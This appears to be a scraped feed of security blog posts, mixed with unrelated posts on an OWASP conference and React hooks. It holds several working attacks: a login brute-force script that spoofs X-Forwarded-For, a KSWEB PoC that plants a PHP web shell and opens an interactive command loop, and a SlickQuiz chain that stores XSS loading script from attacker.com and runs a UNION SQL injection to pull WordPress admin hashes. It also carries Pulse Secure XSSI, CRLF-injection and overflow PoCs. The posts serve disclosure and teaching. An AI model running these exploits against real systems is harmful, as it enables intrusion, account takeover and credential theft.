username = 'admin'
wordlist = []

# Generate 50 incorrect passwords
for i in range(50):
    wordlist.append('Password{i}'.format(i = i))

# Add the correct password to the end of the list
wordlist.append('adminadmin')

for password in wordlist:
    session = requests.Session()
    login_page = session.get(login_url)
    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)

    print('[*] Trying: {p}'.format(p = password))

    headers = {
        'X-Forwarded-For': password,
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36',
        'Referer': login_url
    }

    data = {
        'tokenCSRF': csrf_token,
        'username': username,
        'password': password,
        'save': ''
    }

    login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False)

    if 'location' in login_result.headers:
        if '/admin/dashboard' in login_result.headers['location']:
            print()
            print('SUCCESS: Password found!')
            print('Use {u}:{p} to login.'.format(u = username, p = password))
            print()
            break

KSWEB for Android Remote Code Execution

2 October 2019 at 00:00

KSWEB is an Android application used to allow an Android device to act as a web server. Bundled with this mobile application, are several management tools with one-click installers which are installed with predefined sets of credentials.

One of the tools, is a tool developed by the vendor of KSWEB themselves; which is KSWEB Web Interface. This web application allows authenticated users to update several core settings, including the configuration of the various server packages.

As can be seen in the screenshot below (which also shows a local file disclosure via the hostFile parameter), the selected file is made visible in a text editor and the changes can be saved by clicking the button in the top right corner of the editor.

When the save button is hit, a request is sent to the AJAX handler, like this:

POST /includes/ajax/handler.php HTTP/1.1
Host: localhost:8002
Connection: keep-alive
Content-Length: 1912
Authorization: Basic YWRtaW46YWRtaW4=
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Sec-Fetch-Mode: cors
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost:8002
Sec-Fetch-Site: same-origin
Referer: http://localhost:8002/?page=5
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

act=save_config&configFile=%2Fdata%2Fdata%2Fru.kslabs.ksweb%2Fcomponents%2Fmysql%2Fconf%2Fmy.ini&config_text=**long config file content ommitted*

As can be seen in the above request, the full path to the file being written to is found in the configFile field. As there is no whitelist of files that can be written to, and due to the write permissions of the KSWEB Web Interface application directory not being restricted, it is possible to use this to write a PHP file to the /data/data/ru.kslabs.ksweb/components/web/www/ directory, which will provide command execution.

Additionally, KSWEB supports running as root, meaning that if the user has allowed access as root, full control of the device can be gained via this vulnerability, as can be seen in the screenshot of the PoC below:

Play Store Installs

100,000+

Play Store Link

https://play.google.com/store/apps/details?id=ru.kslabs.ksweb&gl=GB

Solution

Upgrade to version 3.94 or later

CVSS v3 Vector

AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N/E:P/RL:W/RC:R

Disclosure Timeline

  • 2019-08-27: Vulnerability found, vendor contacted
  • 2019-08-27: CVE requested
  • 2019-08-29: CVE-2019-15766 assigned for the RCE
  • 2019-08-29: Vendor responded to confirm issue will be being fixed in an update
  • 2019-09-10: CVE-2019-16198 assigned for the LFD vulnerability
  • 2019-09-21: Contact vendor to check status of patch
  • 2019-10-01: Version 3.94 released to fix vulnerabilities

Proof of Concept

import requests
import sys

from requests.auth import HTTPBasicAuth

BOLD = '\033[1m'
GREEN = '\033[92m'
FAIL = '\033[93m'
RESET = '\033[0m'

if len(sys.argv) < 2:
    print 'Usage: python {file} target_ip [username] [password]'.format(file = sys.argv[0])
    sys.exit(1)

username = sys.argv[2] if len(sys.argv) > 2 else 'admin'
password = sys.argv[3] if len(sys.argv) > 2 else 'admin'
host = sys.argv[1]

base_url = ''

def print_action (msg):
    print '{b}{g}[+]{r} {msg}'.format(b = BOLD, g = GREEN, r = RESET, msg = msg)

def print_error (msg):
    print '{b}{f}[!]{r} {msg}'.format(b = BOLD, f = FAIL, r = RESET, msg = msg)

def run_cmd (cmd, hide_output = False):
    r = requests.get('{b}/ksws.php?1={c}'.format(b = base_url, c = cmd), auth=(username, password))

    if not hide_output:
        print r.text.rstrip()

    return r.status_code == 200

print '  _  __ _______          ________ ____     _____ _          _ _ '
print ' | |/ // ____\\ \\        / /  ____|  _ \\   / ____| |        | | |'
print ' | \' /| (___  \\ \\  /\\  / /| |__  | |_) | | (___ | |__   ___| | |'
print ' |  <  \\___ \\  \\ \\/  \\/ / |  __| |  _ <   \\___ \\| \'_ \\ / _ \\ | |'
print ' | . \\ ____) |  \\  /\\  /  | |____| |_) |  ____) | | | |  __/ | |'
print ' |_|\\_\\_____/    \\/  \\/   |______|____/  |_____/|_| |_|\\___|_|_|\n'

port = 8000

print_action('Scanning for WebFace port...')
while port < 8100:
    try:
        r = requests.get('http://{h}:{p}'.format(h = host, p = port))
        if r.status_code == 401 and 'for KSWEB' in r.headers['Server']:
            print_action('Found WebFace on port {p}'.format(p = port))
            break
        else:
            port = port + 1
    except:
        port = port + 1


base_url = 'http://{h}:{p}'.format(h = host, p = port)

try:
    print_action('Testing credentials ({u}:{p})...'.format(u = username, p = password))
    r = requests.get(base_url, auth=(username, password))

    if r.status_code != 200:
        print_error('The specified credentials ({u}:{p}) were invalid'.format(u = username, p = password))
        sys.exit(1)
except:
    print_error('An error occurred connecting to the host')
    sys.exit(2)

print_action('Uploading web shell...')
r = requests.post('{b}/includes/ajax/handler.php'.format(b = base_url), auth=(username, password), data={
        'act': 'save_config',
        'configFile': '/data/data/ru.kslabs.ksweb/components/web/www/ksws.php',
        'config_text': '<?=`$_GET[1]`?>'
    })

print
run_cmd('uname -a')
run_cmd('pwd')

while True:
    cmd = raw_input('$: ')
    if cmd.lower() == 'exit':
        break
    else:
        run_cmd(cmd)

print

print_action('Cleaning up...')
if not run_cmd('rm /data/data/ru.kslabs.ksweb/components/web/www/ksws.php'):
    print_error('Failed to delete the web shell from the target')

Access Control and the PHP Header Function

1 October 2019 at 00:00

Access control issues are noted by many to be something that never seems to get a whole lot less prevalent. Why? Because there is no real way to abstract it and make it automated; unless the developer is working with a framework which contains its own user system. As a result, implementing this will near always be down to the developer, and although it is a simple task, it can be very easy to overlook small mistakes or misinterpret how something will work.

A pattern I have seen a lot of in the past, cropped up again last night when reviewing some open-source projects and felt it was worth reiterating on. That pattern, is using PHP’s header function to initiate redirects when a user is not permitted to be viewing the page.

On the face of it, this pattern sounds fine and from a functional stand point is something you’d want to do. For example, if a user is trying to access a page that they need to be logged in to view, it’d not be user friendly to simply halt execution, you’d want to redirect them to the login page instead.

The problem with this is in the assumption of what is happening in the implementation of the header function. As the name suggests, this function will literally set a HTTP header; meaning code like this is quite common place:

<?php
  session_start();
  include("connect.php");

  if(!isset($_SESSION['username'])) {
    header("location: index.php");
  }

  if(isset($_GET['id'])) {
    $id = $_GET['id'];
    $sql = "DELETE FROM posts WHERE id = '$id'";
    $result = mysqli_query($dbcon, $sql);

    if($result) {
      header('location: index.php');
    } else {
      echo "Failed to delete.".mysqli_connect_error();
    }
  }
  mysqli_close($dbcon);
?>

For those not overly familiar with PHP, let’s break down lines 5-7. The $_SESSION global is an array of session variables. In a user system, this will typically be used to store the username / user ID of the currently logged in user so that it persists between loading different pages. In this case, the developer has chosen to check if the username session variable exists (to veirfy the user is logged in) and if it isn’t, redirect them back to the home page.

Again, functionally, this sounds great, except a big assumption has been made about the header function. The assumption being that it will end script execution (spoiler: it does not). Any code that proceeds a call to header will still execute, as even if one is to set the Location header in order to facilitate a redirect - it is still completely valid to set content in the body of the response too.

In the project that I found this vulnerability in, all other files that rendered markup to the screen had appropriately handled this scenario, but in this particular file (used for handling post deletions), it had not been. It’s possible this was a simple mistake, or that the author had thought maybe there is no exploitable functionality given that the page instantly redirects. If it was the latter, then it would definitely be the wrong presumption.

You’ll notice on line 11 that there is string interpolation being used to create an SQL query to be executed:

$id = $_GET['id'];
$sql = "DELETE FROM posts WHERE id = '$id'";
$result = mysqli_query($dbcon, $sql);

Although no data is output to the screen and a redirect is initiated, this does not stop us exploiting this. By injecting a call to SLEEP in the id parameter (using the payload 1' RLIKE (SELECT * FROM (SELECT(SLEEP(5)))a)-- a), it is possible to confirm that the injection is there and that we can use a time-based attack due to the response not being sent until the entirety of the PHP file has been executed:

If you take a look at the last timestamp of the request (denoted with a >) and the first timestamp of the response (denoted by a <), you will see there is a 5 second difference - the same as the value specified in the call to SLEEP; confirming the injection can be exploited. This can be further illustrated by throwing SQLmap at it:

To fix the main vulnerability that allowed the bypass of the access control, it took simply adding a call to exit directly after the call to header as can be seen on line 7 of the patched code below:

<?php
  session_start();
  include("connect.php");

  if(!isset($_SESSION['username'])) {
    header("location: index.php");
    exit();
  }

  if(isset($_GET['id'])) {
    $id = mysqli_real_escape_string($dbcon, $_GET['id']);
    $sql = "DELETE FROM posts WHERE id = '$id'";
    $result = mysqli_query($dbcon, $sql);

    if($result) {
      header('location: index.php');
    } else {
      echo "Failed to delete.".mysqli_connect_error();
    }
  }
  mysqli_close($dbcon);
?>

After applying this (even without fixing the SQL injection), the same curl request will no longer invoke the call to SLEEP as can be seen in the below output:

OWASP Global AppSec DC 2019 Review

23 September 2019 at 18:05

🙋🏽‍♂️ Hello friends! It’s been quite some time since I’ve blogged – shame on me. No excuses as I can’t say I’ve been particularly busy or engaged in anything mind-blowing. The truth is I haven’t had much to write about lately & I’m not going to deliver nonsense because then I would lose your trust. I err on the side of quality vs. quantity as I hope everyone reading this does. My quest to become a better developer is something that has been keeping me occupied lately. To that end, learning MEAN stack development is something I really want to get better at. How can I understand how to break something if I don’t know how to build it? It’s in its infancy but my goal is to build a vulnerable MEAN stack application and release it to Github for everyone to tear it apart and understand how the typical web application vulnerabilities manifest themselves in a MEAN stack application at the code level. No promises but I hope by the end of the year I could deploy the beta version. Enough updates let’s get down to the point of this post.

Having an awesome company isn’t something to take for granted. For me this means quality and diversity of work, culture, work environment and plenty things in between; but the biggest part of that is the investment the company provides you in terms of  self improvement and development. To say that I get spoiled currently is an understatement! Imagine how ecstatic I was to find an OWASP conference that was so close I wouldn’t even need a flight. I usually with puppy eyes ask my boss if it’s possible to attend, he runs it up the flag-pole and soon gives me the okay to book it. This would be my first OWASP conference & training.  The first 3 days there was an assortment of training’s followed by the last 2 day being the actual conference and a CTF. The training course that caught my eye was Seth & Ken’s Excellent Adventures in Code Review. The description read as follow

This was a tough to select since there were training on a bunch of things I was interested in including Serverless Security, API Security, Security in Single Paged App, DevOps Security, and Building a Appsec Program with OWASP. I wish I had like 5 clones and could take them all but such is life. I arrived Sunday night 9/8/2019 after a 3 hour train ride grabbed some food and made sure to get a great nights rest.

Training:

After an introduction from the instructors we were provided a USB (which proved to be safe but everyone questioned) to download the materials.  It included an OVA image of the VM we were going to utilize for the course. Essentially it was just a Ubuntu image pre-loaded with vulnerable application’s source code and ATOM IDE which is pretty slick. A giant portion of this day was determining the scope of code review and building a methodology. Having a solid methodology is uber important since given millions of lines of code to review of an unknown application, various frameworks or unfamiliar language can be a daunting task. A question I’d always ask myself is “where do I begin”. We learned how to perform an application assessment & overview. This is the first step where you profile the application beginning to understand things such as

  • Frameworks & Languages
  • 3rd Party Components
  • Techstack
  • Datastores
  • Checking Framework Documentation
  • Looking for Unit Test
  • Code Comments

Spending the time here proved most important and the most difficult. Naturally the hacker in you wants to start hunting for vulnerabilities and going down rabbit holes. Don’t Do This! Be disciplined is the only I can give you here.

Then comes information gathering

  • Mapping Route and Endpoints
    • We learning how request flow from the routing to authorization functions, processing logic through the DB and back to the user in a number of frameworks
      • Rails
      • NodeJS & Express
      • Django
      • .NET
  • Reviewing authorization decorators
  • Risk brainstorming
  • Sources and Sinks

From this you’ll have a checklist of things to review. That’ the methodology!
Using the information from above we dove into specific areas of the application (which in itself is sorta difficult to find).

  • Authorization
    • Broken Access Controls
    • Sensitive Data Exposure
    • Mass Assignment
    • Business Logic Flaw
  • Authentication
    • Broken Authentication
    • User Enumeration
    • Session Management Issues
    • Authentication Bypass
    • Brute Force Attacks
  • Auditing
    • Sensitive Data Exposure
    • Insufficient Logging & Monitoring
    • Debug Messages
    • Error Handling
    • Information Leakage
  • Injection
    • Injection
    • XXE
    • XXS
    • Redirects
    • SSRF (recently popular I wonder why)
  • Cryptography
    • Lack of Encryption
    • Improper Encryption
    • Insecure Token Generation
  • Configuration Review
    • Security Misconfigurations
    • 3rd Party Libraries, Frameworks, Dependencies

After lunch on the last day we broke off into groups, selected an open source application and followed the process from start to finish. We were hoping for some CVE’s but we didn’t come up with anything shocking. I love when you have practical sessions like this. You’d be surprised how much you learn by doing instead of just listening. All the groups presented their findings to the class at the end.

Conference:

The keynote started off with an pretty amazing guy technical Director of Security from the NSA Neal Ziring – Applying Security Engineering Principles to Complex Composite Systems
Here are some of the talks I attended:

  • A Structured Code Audit Approach to Find Flaws in Highly Audited Webapps
  • Using the OWASP Application Security Verification Standard 4.0 to Secure Your Applications
  • Securing Serverless by Breaking-in
  • Owning the Cloud through SSRF and PDF Generators
  • DevSecOps: Essential Pipeline Tooling to Enable Continuous Security
  • The As, Bs, and Four Cs of Testing Cloud-Native Applications
  • OWASP Serverless Top 10
  • Farewell, WAF – Exploiting SQL Injection from Mutation to Polymorphism

Final Thoughts:

I really enjoyed my first OWASP Application Security conference. In addition to all the technical knowledge gained I always try my best to network and interact with as many people as possible. I can see myself definitely attending again in the future. There was tons of swag being given away, t-shirts, socks, gadgets you name it. I didn’t participate in the CTF because it ran during the same hours as the conference. That was weird because some people solely did the CTF and didn’t see the talks at the conference. I wish it was more SANs like where it’s after hours but such is life.

Best Part:

The best part is literally all the slides, handouts, cheat-sheets are available online! This was so appalling to me I asked them why wasn’t it a locked resource or something password protected.  The answer was, “If you can get all the value  you need without us teaching it we’re useless” in addition we want you to go back and share the information w/ you teams and colleagues. This is the differentiator OWASP is here to protect the masses and knows we are more effective being collaborative and sharing knowledge. I think that was pretty special! So here you are – the github with all the materials, source code and lecture slides! Cheers.

The post OWASP Global AppSec DC 2019 Review appeared first on Certification Chronicles.

Creating a Conditional React Hook

13 September 2019 at 00:00

After seeing that the React team have been encouraging people to start using hooks for future development over the class based approach that has been used for stateful components previously, I decided to check them out.

My first thoughts were that the new approach is really awesome. Much less boilerplate code and the ability to share logic between different components easily - what’s not to love?

I quickly jumped in to trying to use them, and almost as quickly hit a dead end. I was trying to create a form that would:

  1. Load data from a remote server and populate a form with the result
  2. Call an API to save the data back when the user hits the save button

The first point went smoothly, but the second? Not so much. One of the rules that has to be followed when using hooks is that they all must be called in the top level of the function.

What I mean by this, is that anything that accepts a callback, such as useEffect cannot contain hook invocations. They all must appear in the main function of the hook, ensuring that the same number of hooks are invoked every time a re-render occurs.

Why is this a problem? Well, I was trying to invoke the hook when the user clicks a button, which means the first render only calls one hook (to load the remote data) but the render after the user clicks the button was then calling two hooks.

The solution to this was incredibly simple, but didn’t click straight away. That solution being - I could create a flag in my hook to indicate whether or not to actually execute the action. Doing this would ensure that the same number of hooks are called every time, but it’d only execute the action when the flag is changed to indicate it should.

Below is an example of my hook, with some implementation replaced with some mock code for the sake of keeping it simple.

import React, { useState, useEffect } from 'react'

function useApi ({ endpoint, method, body, shouldExecute }) {
  const [result, setResult] = useState(null)
  const [executing, setExecuting] = useState(false)
  const [hasError, setHasError] = useState(false)

  if (shouldExecute) {
    setExecuting(true)
  }

  const executeRequest = async () => {
    try {
      const res = await ApiExample.call(endpoint, method, body)
      setResult(res)
    } catch (error) {
      setHasError(true)
    }

    setExecuting(false)
  }

  useEffect(() => {
    if (shouldExecute) {
      executeRequest()
    }
  }, [shouldExecute])

  return { executing, hasError, result }
}

export default useApi

The purpose of this hook is to be able to specify the API endpoint, HTTP method and body and get an object back that indicates:

  • Whether the task is executing (executing)
  • Whether an error occurred making the request (hasError)
  • The result of the request, if successful (result)

If we were not to pass the shouldExecute value and use it and instead invoke executeRequest immediately inside the callback of useEffect, the HTTP request would be sent to the API pretty much instantly after the hook is invoked. Whilst this is fine for loading data, this was not sufficient for my use case of wanting to execute a request upon clicking a save button. Enter - the shouldExecute value.

By adding this extra flag, useEffect can be configured to be dependent on shouldExecute (as can be seen in the second argument to useEffect). This means that every time shouldExecute changes - the useEffect callback is invoked (you can probably see where this is now going).

Now that the useApi hook will only make the AJAX request based on the flag that we can bind a value to in its consumer, we can invoke it twice at the start of the consuming hook like this:

const ApiWrapper = () => {
  const [shouldSave, setShouldSave] = useState(false)

  const a = useApi({
    endpoint: '/load-data',
    method: 'GET',
    shouldExecute: true
  })

  const b = useApi({
    endpoint: '/save-data',
    method: 'POST',
    body: { foo: 'bar' },
    shouldExecute: shouldSave
  })

  if (shouldSave && !b.executing) {
    setShouldSave(false)
  }

  return (
    <div>
      <span>{a.result}</span>
      <button onClick={() => setShouldSave(true)}>Save</button>
    </div>
  )
}

In this example, a will hold the data that would then populate a form (in this case just dumping it into a span to keep things concise) and b will hold the result of the save operation.

On the first render of ApiWrapper, the useApi hook will be called twice and the results assigned to a and b. As you can see in the assignment of b, the shouldExecute property is bound to the value of shouldSave, which is only set to true once the user clicks the button.

There is also a check to reset the flag, if shouldSave is true. If it is true, the user has previously clicked the button, and if b.executing is false, then that would mean the task in the useApi hook is now finished and we can reset the value of shouldSave.

It’s a bit different to how one would normally approach this, but overall, it actually makes the code even more concise and easy to read, so I’d still say it’s worth adapting to this type of approach.

If you need more information on how useEffect works and the general changes that have been introduced with hooks, make sure to check out the official documentation at https://reactjs.org/docs/hooks-intro.html

H1-4420: From Quiz to Admin - Chaining Two 0-Days to Compromise An Uber Wordpress

10 September 2019 at 00:00

TL;DR

While doing recon for H1-4420, I stumbled upon a Wordpress blog that had a plugin enabled called SlickQuiz. Although the latest version 1.3.7.1 was installed and I haven’t found any publicly disclosed vulnerabilities, it still somehow sounded like a bad idea to run a plugin that hasn’t been tested with the last three major versions of Wordpress.

So I decided to go the very same route as I did already for last year’s H1-3120 which eventually brought me the MVH title: source code review. And it paid off again: This time, I’ve found two vulnerabilities named CVE-2019-12517 (Unauthenticated Stored XSS) and CVE-2019-12516 (Authenticated SQL Injection) which can be chained together to take you from being an unauthenticated Wordpress visitor to the admin credentials.

Due to the sensitivity of disclosed information I’m using an own temporarily installed Wordpress blog throughout this blog article to demonstrate the vulnerabilities and the impact.

CVE-2019-12517: Going From Unauthenticated User to Admin via Stored XSS

During the source code review, I stumbled upon multiple (obvious) stored XSS vulnerabilities when saving user scores of quizzes. Important side note: It does not matter whether “Save user scores” plugin option is disabled (default) or enabled, the pure presence of a quiz is sufficient for explotiation since this option does only disable/enable the UI elements.

The underlying issue is located in php/slickquiz-scores.php in the method generate_score_row() (lines 38-52) where the responses to quizzes are returned without encoding them first:

function generate_score_row( $score )
        {
            $scoreRow = '';

            $scoreRow .= '<tr>';
            $scoreRow .= '<td class="table_id">' . $score->id . '</td>';
            $scoreRow .= '<td class="table_name">' . $score->name . '</td>';
            $scoreRow .= '<td class="table_email">' . $score->email . '</td>';
            $scoreRow .= '<td class="table_score">' . $score->score . '</td>';
            $scoreRow .= '<td class="table_created">' . $score->createdDate . '</td>';
            $scoreRow .= '<td class="table_actions">' . $this->get_score_actions( $score->id ) . '</td>';
            $scoreRow .= '</tr>';

            return $scoreRow;
        }

Since $score->name, $score->email and $score->score are use-controllable, a simple request like the following is enough to get three XSS payloads into the SlickQuiz backend:

POST /wordpress/wp-admin/admin-ajax.php?_wpnonce=593d9fff35 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 165
DNT: 1
Connection: close

action=save_quiz_score&json={"name":"xss<script>alert(1)</script>","email":"test@localhost<script>alert(2)</script>","score":"<script>alert(3)</script>","quiz_id":1}

As soon as any user with access to the SlickQuiz dashboard visits the user scores, all payloads fire immediately:

So far so good. That’s already a pretty good impact, but there must be more.

CVE-2019-12516: Authenticated SQL Injections To the Rescue

The SlickQuiz plugin is also vulnerable to multiple authenticated SQL Injections almost whenever the id parameter is present in any request. For example the following requests:

/wp-admin/admin.php?page=slickquiz-scores&id=(select*from(select(sleep(5)))a)
/wp-admin/admin.php?page=slickquiz-edit&id=(select*from(select(sleep(5)))a)
/wp-admin/admin.php?page=slickquiz-preview&id=(select*from(select(sleep(5)))a)

all cause a 5 second delay:

The underlying issue of i.e. the /wp-admin/admin.php?page=slickquiz-scores&id=(select*from(select(sleep(5)))a) vulnerability is located in php/slickquiz-scores.php in the constructor method (line 20) where the GET parameter id is directly supplied to the method get_quiz_by_id():

$quiz = $this->get_quiz_by_id( $_GET['id'] );

Whereof the method get_quiz_by_id() is defined in php/slickquiz-model.php (lines 27-35):

function get_quiz_by_id( $id )
        {
            global $wpdb;
            $db_name = $wpdb->prefix . 'plugin_slickquiz';

            $quizResult = $wpdb->get_row( "SELECT * FROM $db_name WHERE id = $id" );

            return $quizResult;
        }

Another obvious one.

Connecting XSS and SQLi for Takeover

Now let’s connect both vulnerabilities to get a real Wordpress takeover :-)

First of all: Let’s get the essential login details of the first Wordpress user (likely to be the admin): user’s email, login name and hashed password. I’ve built this handy SQLi payload to achieve that:

1337 UNION ALL SELECT NULL,CONCAT(IFNULL(CAST(user_email AS CHAR),0x20),0x3B,IFNULL(CAST(user_login AS CHAR),0x20),0x3B,IFNULL(CAST(user_pass AS CHAR),0x20)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM wordpress.wp_users--

This eventually returns requested data within an <h2> tag:

With this payload and a little bit of JavaScript, it’s now possible to exploit the SQLi using a JavaScript XMLHttpRequest:

let url = 'http://localhost/wordpress/wp-admin/admin.php?page=slickquiz-scores&id=';
let payload = '1337 UNION ALL SELECT NULL,CONCAT(IFNULL(CAST(user_email AS CHAR),0x20),0x3B,IFNULL(CAST(user_login AS CHAR),0x20),0x3B,IFNULL(CAST(user_pass AS CHAR),0x20)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM wordpress.wp_users--'

let xhr = new XMLHttpRequest();
xhr.withCredentials = true;

xhr.onreadystatechange = function() {
  if (xhr.readyState === XMLHttpRequest.DONE) {
    let result = xhr.responseText.match(/(?:<h2>SlickQuiz Scores for ")(.*)(?:"<\/h2>)/);
    alert(result[1]);
  }
}

xhr.open('GET', url + payload, true);
xhr.send();

Now changing the XSS payload to:

POST /wordpress/wp-admin/admin-ajax.php?_wpnonce=593d9fff35 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 165
DNT: 1
Connection: close

action=save_quiz_score&json={"name":"xss","email":"test@localhost<script src='http://www.attacker.com/slickquiz.js'>","score":"1 / 1","quiz_id":1}on=save_quiz_score&json={"name":"xss<script>alert(1)</script>","email":"test@localhost<script src='http://www.attacker.com/slickquiz.js'>","score":"1 / 1","quiz_id":1}

Will cause the XSS to fire and alert the Wordpress credentials:

From this point on, everything’s possible, just like sending this data cross-domain via another XMLHttpRequest etc.

Thanks Uber for the nice bounty!

Attacking SSL VPN - Part 3: The Golden Pulse Secure SSL VPN RCE Chain, with Twitter as Case Study!

1 September 2019 at 16:00

Author: Orange Tsai(@orange_8361) and Meh Chang(@mehqq_)

Hi, this is the last part of Attacking SSL VPN series. If you haven’t read previous articles yet, here are the quick links for you:

After we published our research at Black Hat, due to its great severity and huge impacts, it got lots of attention and discussions. Many people desire first-hand news and wonder when the exploit(especially the Pulse Secure preAuth one) will be released.

We also discussed this internally. Actually, we could simply drop the whole exploits without any concern and acquire plenty of media exposures. However, as a SECURITY firm, our responsibility is to make the world more secure. So we decided to postpone the public disclosure to give the world more time to apply the patches!

Unfortunately, the exploits were revealed by someone else. They can be easily found on GitHub[1] [2] [3] and exploit-db[1]. Honestly, we couldn’t say they are wrong, because the bugs are absolutely fixed several months ago, and they spent their time differing/reversing/reproducing. But it’s indeed a worth discussing question to the security community: if you have a nuclear level weapon, when is it ready for public disclosure?

We heard about more than 25 bug bounty programs are exploited. From the statistics of Bad Packet, numerous Fortune 500, U.S. military, governments, financial institutions and universities are also affected by this. There are even 10 NASA servers exposed for this bug. So, these premature public disclosures indeed force these entities to upgrade their SSL VPN, this is the good part.

On the other hand, the bad part is that there is an increasing number of botnets scanning the Internet in the meanwhile. An intelligence also points out that there is already a China APT group exploiting this bug. This is such an Internet disaster. Apparently, the world is not ready yet. So, if you haven’t updated your Palo Alto, Fortinet or Pulse Secure SSL VPN, please update it ASAP!

About Pulse Secure

Pulse Secure is the market leader of SSL VPN which provides professional secure access solutions for Hybrid IT. Pulse Secure has been in our research queue for a long time because it was a critical infrastructure of Google, which is one of our long-term targets. However, Google applies the Zero Trust security model, and therefore the VPN is removed now.

We started to review Pulse Secure in mid-December last year. In the first 2 months, we got nothing. Pulse Secure has a good coding style and security awareness so that it’s hard to find trivial bugs. Here is an interesting comparison, we found the arbitrary file reading CVE-2018-13379 on FortiGate SSL VPN on our first research day…

Pulse Secure is also a Perl lover, and writes lots of Perl extensions in C++. The interaction between Perl and C++ is also confusing to us, but we got more familiar with it while we paid more time digging in it. Finally, we got the first blood on March 8, 2019! It’s a stack-based overflow on the management interface! Although this bug isn’t that useful, our research progress got on track since that, and we uncovered more and more bugs.

We reported all of our finding to Pulse Secure PSIRT on March 22, 2019. Their response is very quick and they take these vulnerabilities seriously! After several conference calls with Pulse Secure, they fixed all bugs just within a month, and released the patches on April 24, 2019. You can check the detailed security advisory!

It’s a great time to work with Pulse Secure. From our perspective, Pulse Secure is the most responsible vendor among all SSL VPN vendors we have reported bugs to!

Vulnerabilities

We have found 7 vulnerabilities in total. Here is the list. We will introduce each one but focus on the CVE-2019-11510 and CVE-2019-11539 more.

  • CVE-2019-11510 - Pre-auth Arbitrary File Reading
  • CVE-2019-11542 - Post-auth(admin) Stack Buffer Overflow
  • CVE-2019-11539 - Post-auth(admin) Command Injection
  • CVE-2019-11538 - Post-auth(user) Arbitrary File Reading via NFS
  • CVE-2019-11508 - Post-auth(user) Arbitrary File Writing via NFS
  • CVE-2019-11540 - Post-auth Cross-Site Script Inclusion
  • CVE-2019-11507 - Post-auth Cross-Site Scripting

Affected versions

  • Pulse Connect Secure 9.0R1 - 9.0R3.3
  • Pulse Connect Secure 8.3R1 - 8.3R7
  • Pulse Connect Secure 8.2R1 - 8.2R12
  • Pulse Connect Secure 8.1R1 - 8.1R15
  • Pulse Policy Secure 9.0R1 - 9.0R3.3
  • Pulse Policy Secure 5.4R1 - 5.4R7
  • Pulse Policy Secure 5.3R1 - 5.3R12
  • Pulse Policy Secure 5.2R1 - 5.2R12
  • Pulse Policy Secure 5.1R1 - 5.1R15

CVE-2019-11540: Cross-Site Script Inclusion

The script /dana/cs/cs.cgi renders the session ID in JavaScript. As the content-type is set to application/x-javascript, we could perform the XSSI attack to steal the DSID cookie!

Even worse, the CSRF protection in Pulse Secure SSL VPN is based on the DSID. With this XSSI, we can bypass all the CSRF protection!

PoC:

<!-- http://attacker/malicious.html -->

<script src="https://sslvpn/dana/cs/cs.cgi?action=appletobj"></script>
<script>
    window.onload = function() {
        window.document.writeln = function (msg) {
            if (msg.indexOf("DSID") >= 0) alert(msg)
        }
        ReplaceContent()
    }
</script>

CVE-2019-11507: Cross-Site Scripting

There is a CRLF Injection in /dana/home/cts_get_ica.cgi. Due to the injection, we can forge arbitrary HTTP headers and inject malicious HTML contents.

PoC:

https://sslvpn/dana/home/cts_get_ica.cgi
?bm_id=x
&vdi=1
&appname=aa%0d%0aContent-Type::text/html%0d%0aContent-Disposition::inline%0d%0aaa:bb<svg/onload=alert(document.domain)>

CVE-2019-11538: Post-auth(user) Arbitrary File Reading via NFS

The following two vulnerabilities (CVE-2019-11538 and CVE-2019-11508) do not affect default configurations. It appears only if the admin configures the NFS sharing for the VPN users.

If an attacker can control any files on remote NFS server, he can just create a symbolic link to any file, such as /etc/passwd, and read it from web interface. The root cause is that the implementation of NFS mounts the remote server as a real Linux directory, and the script /dana/fb/nfs/nfb.cgi does not check whether the accessed file is a symlink or not!

CVE-2019-11508: Post-auth(user) Arbitrary File Writing via NFS

This one is a little bit similar to the previous one, but with a different attack vector!

When the attacker uploads a ZIP file to the NFS through the web interface, the script /dana/fb/nfs/nu.cgi does not sanitize the filename in the ZIP. Therefore, an attacker can build a malicious ZIP file and traverse the path with ../ in the filename! Once Pulse Secure decompresses, the attacker can upload whatever he wants to whatever path!

CVE-2019-11542: Post-auth(admin) Stack Buffer Overflow

There is a stack-based buffer overflow in the following Perl module implementations:

  • DSHC::ConsiderForReporting
  • DSHC::isSendReasonStringEnabled
  • DSHC::getRemedCustomInstructions

These implementations use sprintf to concatenate strings without any length check, which leads to the buffer overflow. The bug can be triggered in many places, but here we use /dana-admin/auth/hc.cgi as our PoC.

https://sslvpn/dana-admin/auth/hc.cgi
?platform=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&policyid=0

And you can observed the segment fault from dmesg

cgi-server[22950]: segfault at 61616161 ip 0000000002a80afd sp 00000000ff9a4d50 error 4 in DSHC.so[2a2f000+87000]

CVE-2019-11510: Pre-auth Arbitrary File Reading

